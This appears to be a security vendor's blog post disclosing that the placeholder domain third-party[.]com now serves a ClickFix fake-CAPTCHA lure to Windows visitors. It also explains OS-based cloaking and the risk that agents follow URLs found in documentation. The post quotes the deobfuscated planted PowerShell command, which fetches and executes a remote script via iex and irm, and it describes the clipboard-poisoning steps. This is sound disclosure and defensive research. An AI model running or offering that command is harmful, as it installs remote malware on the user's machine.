TL;DR
- third-party[.]com, a domain most developers know only as a documentation placeholder, is serving a ClickFix lure to Windows browsers and a harmless decoy to everything else. Manifold security engineer Swapnil Patil spotted it when a public skill that references the domain tripped a phishing alert.
- third-party[.]com has been a generic documentation placeholder for years, the same role example.com plays. A public code search turns it up in skills, MCP-server docs, and over 1,500 files across 1,700+ repositories from names as trusted as Chromium, Sanity, and Vercel. Since at least June 2026 it’s been serving the ClickFix lure.
- Unlike example.com, third-party[.]com is not IANA-reserved. Anyone could register it, and someone did. Every doc, test, and skill that hardcoded it now points readers at attacker infrastructure.
- On a Windows visitor the page fakes a Cloudflare check, poisons the clipboard, and tells the user to press Win+R and paste. The pasted command pulls and runs a remote PowerShell payload. This is the technique that has been hammering Windows shops all year.
- This is the failure mode we described last month in What to think about curl | bash now that AI agents run it: a static URL in a skill or a config is a promise the server can break later. Here the server broke it.
- We reported third-party[.]com to its registrar, Network Solutions, before publishing. Because this is a live attack page still targeting Windows users, we are publishing the finding as a caution rather than sitting on it.
How we found it
This started with a domain flagged where it should not have been. While analyzing public skills and MCP servers, Manifold security engineer Swapnil Patil noticed one of them referenced third-party[.]com, and that our monitoring had flagged the domain as a phishing indicator. A documentation placeholder tripping a malware alert did not add up, so he looked at what the domain was actually serving.
The domain was not something we configured. It was coming in from the content we routinely scan: skills and MCP-server docs that cite third-party[.]com as an example endpoint, one of them loading third-party[.]com/widget.js straight out of a skill's own documentation. Cody Nash traced it through our corpus to the exact assets carrying the domain, and Yurii Skrypnyk confirmed that nothing on our side had fetched the live page or received the lure. What we had was a placeholder domain, sitting in public skills, that had turned malicious.
The skills had not changed. The domain had, and that is what the rest of this article is about.
What is ClickFix?
ClickFix is social engineering that turns the victim into the delivery mechanism. A web page shows a fake "verify you are human" prompt styled after Cloudflare or Google reCAPTCHA. Behind it, JavaScript silently writes an attacker command to the clipboard. The page then instructs the visitor to press Windows Key + R, which opens the Run dialog, paste with Ctrl+V, and hit Enter. The victim runs the attacker's command with their own permissions, and no file was ever downloaded for an antivirus to catch.
It works because it sidesteps the tooling. The command uses binaries that ship signed and trusted on every Windows machine, PowerShell chief among them, so there is no malicious executable to flag. That is why it has spread the way it has. ESET recorded a 517% jump in ClickFix and fake-CAPTCHA campaigns between the second half of 2024 and the first half of 2025, and by 2026 the technique had moved well beyond consumer scams into enterprise intrusions.
Microsoft Threat Intelligence documented a ClickFix campaign that uses a fake Cloudflare CAPTCHA to trick users into pasting a PowerShell command, then chains DLL sideloading, steganography, Active Directory reconnaissance, and a reverse-tunnel implant into full network compromise. Corporate Windows fleets are the target, because a domain-joined workstation with a logged-in user is exactly where an infostealer, or an operator looking to pivot, wants to land.
The U.S. FTC put out a consumer warning about the same fake-CAPTCHA scam in June 2026. The whole ecosystem is now commoditised, with kits that bundle CAPTCHA templates and rotating domains.
What third-party[.]com actually serves
We fetched the domain from a UK vantage point with different user-agents. The response depends on the operating system you claim to be.
A Windows user-agent gets the full lure: a fake "Performing security verification" page dressed as Cloudflare, with an animated checkbox and a Ray ID footer for authenticity.
Its JavaScript stages the clipboard using a hidden textarea and a hijacked copy event, then walks the user through Win+R, Ctrl+V, Enter. The command it plants, after deobfuscating the string-concatenation used to hide it, is:
powershell "Write-Host(&{iex(irm('elxxvvx[.]xyz/f'))})2>$null"
irm (Invoke-RestMethod) fetches a script from the second-stage server, iex (Invoke-Expression) executes it in memory, and 2>$null suppresses any error the victim might notice. A decoy comment reading "Security check, I'm not a robot, Verification ID" plus a random six-digit number is appended so that what lands in the Run box looks like a captcha token rather than a PowerShell command.
A macOS or Linux user-agent gets none of that. It gets a near-identical page that stops at an error: "macOS is not supported. This website requires a Windows PC to access." No clipboard poisoning, no payload. The attacker only shows the weapon to the targets it works against, which is precisely why a casual look, or a scanner on a Linux datacenter IP, sees nothing wrong.
Blocked, then unblocked
I noticed the domain was briefly flagged as malware on the public IPFire blocklist on 7 July 2026 and then de-listed on 17 July. That short-lived listing is consistent with the same behavior: a checker that requests the page from a non-Windows agent, sees the benign decoy, and concludes the earlier listing was a mistake. The malware only exists if you ask for it as Windows.
The second-stage domain the command reaches out to, elxxvvx[.]xyz, was offline at the time of our testing. third-party[.]com itself is live and still serving the ClickFix lure to Windows visitors.
For defenders, a reputation feed is only as accurate as the request it makes, and most of them do not pretend to be a Windows desktop on a home connection. Query this domain from a datacenter range, from a Linux crawler, from anything that is not the intended victim, and it hands back a clean page. So third-party[.]com can be live malware and absent from your blocklists at the same moment. That absence means the attacker chose not to show the scanner, nothing more. A reputation check tells you what a domain served the last scanner that asked. It says nothing about what it will serve your user on the next request.
Why this is bigger than one domain
third-party[.]com is not an obscure domain someone stumbled onto. It is a placeholder, used the way example.com is used, to stand in for "some external service" in documentation and test code.
A public code search turns it up across the ecosystem: in AI agent skills, in MCP-server integration guides, and in repositories from some of the most trusted names in the business.
It sits in Chromium's developer docs as an externally_connectable example, in a Playwright testing skill shipped in Sanity's repo as a cross-origin iframe example, and in a unit test in Vercel's Turborepo that checks origin matching. In every one of those places it is exactly what it looks like: a placeholder, an example, a stand-in, and entirely reasonable use by the teams involved. It is also, now, a live pointer to a ClickFix server.
The three assets our analysis surfaced are ordinary examples:
None of these executes the domain. They are teaching material, and one of them is literally teaching you not to hardcode endpoints. The authors did nothing careless: they reached for the same throwaway domain everyone reaches for, and the ground moved under them.
The difference between example.com and third-party[.]com is one line in a registry. example.com is reserved by the IANA specifically so it can be used in documentation forever without anyone owning it.
third-party[.]com carries none of that protection. It reads like a reserved placeholder, it is treated like one across thousands of files, and it is a normal domain that can change hands like any other. Its infrastructure did, and because the domain is all over documentation, whoever now controls it inherits a trickle of traffic from anyone who copies an example a little too faithfully, plus every automated agent that fetches what it reads.
This is the curl | bash problem, wearing a different hat
Last month we argued that the real risk in an agent fetching from the internet is not the file it installs, it is that the URL in the manifest is a promise the server is free to break later. A domain you trust today can change hands tomorrow, and the trusted endpoint simply starts returning something else. We used Polyfill as the reference case: a dependency hardcoded across a hundred thousand sites that turned malicious the day its domain changed owners, with no dependency change on anyone's part.
third-party[.]com is the same shape at the other end of the pipe. The reference is even more static than a dependency. It is a documentation placeholder, the kind of string nobody thinks of as a dependency at all. It sat benign in skills and repos for years. Then the domain's infrastructure changed hands and the static string started resolving to attacker infrastructure. Nobody's skill changed. Nobody re-ran anything. The pointer stayed identical and what it points to went hostile.
And because the payload is served conditionally, by operating system here, every static check comes back clean. You can scan the skill, read the file, resolve the domain from your analysis box, and conclude it is fine, and be completely wrong about what a Windows user's agent receives when it follows the same link. A file scan cannot see what a website decides to send. The tell only appears at request time, from the caller that matters.
What to do
For security and platform teams:
- Treat non-reserved placeholder domains as squattable dependencies. Sweep your corpus, your skills, your MCP configs, and your internal docs for third-party[.]com, and for the same class of stand-ins: yourcompany[.]com, mycompany[.]com, your-api[.]com, and lookalikes that are not the reserved names. Check which are actually registered and live. Reserved-for-documentation names (example.com, example.org, example.net, .example) are safe. The lookalikes are not.
- Do not allowlist a live domain to silence a scanner. It is tempting to add third-party[.]com to a known-good list to kill the noise. Do the opposite. A domain you do not control and cannot vouch for should not be on a reputation allowlist, because the day its content turns, your allowlist is what waves it through.
- Do not connect to harvested URLs from shared infrastructure. A liveness check that reaches out to attacker infrastructure from your corporate or cloud IP space is a small exposure, but it is a real one. Separate "is this URL syntactically live" from "reach out and touch it."
For developers writing skills, docs, or test fixtures:
- Use reserved placeholders only. example.com and its siblings exist for exactly this. If you need a second distinct host, use example.org or example.net, not a plausible-sounding domain you do not own.
- Audit what you have already shipped. If a skill, README, or test you published hardcodes a non-reserved placeholder, it is now pointing your readers and their agents somewhere you cannot control.
The lesson from our curl | bash work and from this domain is the same one, from opposite directions. On the way in, a static URL cannot tell you what it will serve. On the way out, watching the connection does not help, because the traffic goes to a plausible endpoint. What tells you something is watching what the caller actually does when it follows that link, not what the link looked like when you filed it away.
Manifold watches what your EDR misses
Your endpoint tooling sees the PowerShell that ClickFix eventually spawns, if you have tuned it well. What it does not see is the layer before that: an agent reading a skill, harvesting a URL from its documentation, and reaching out to a domain that looked like a harmless placeholder the last time anyone checked. The risk here did not live in a file. It surfaced at runtime, when a static string that had been safe for years quietly started resolving to something hostile, and it showed that face only to the callers it wanted to hit.
Manifold watches the runtime behavior of AI agents and MCP servers: the URLs they actually fetch, the commands they actually run, and the calls they make after they fetch something. A placeholder that turns malicious becomes a behavior you can see and stop, rather than a line in a doc that no scanner flagged.
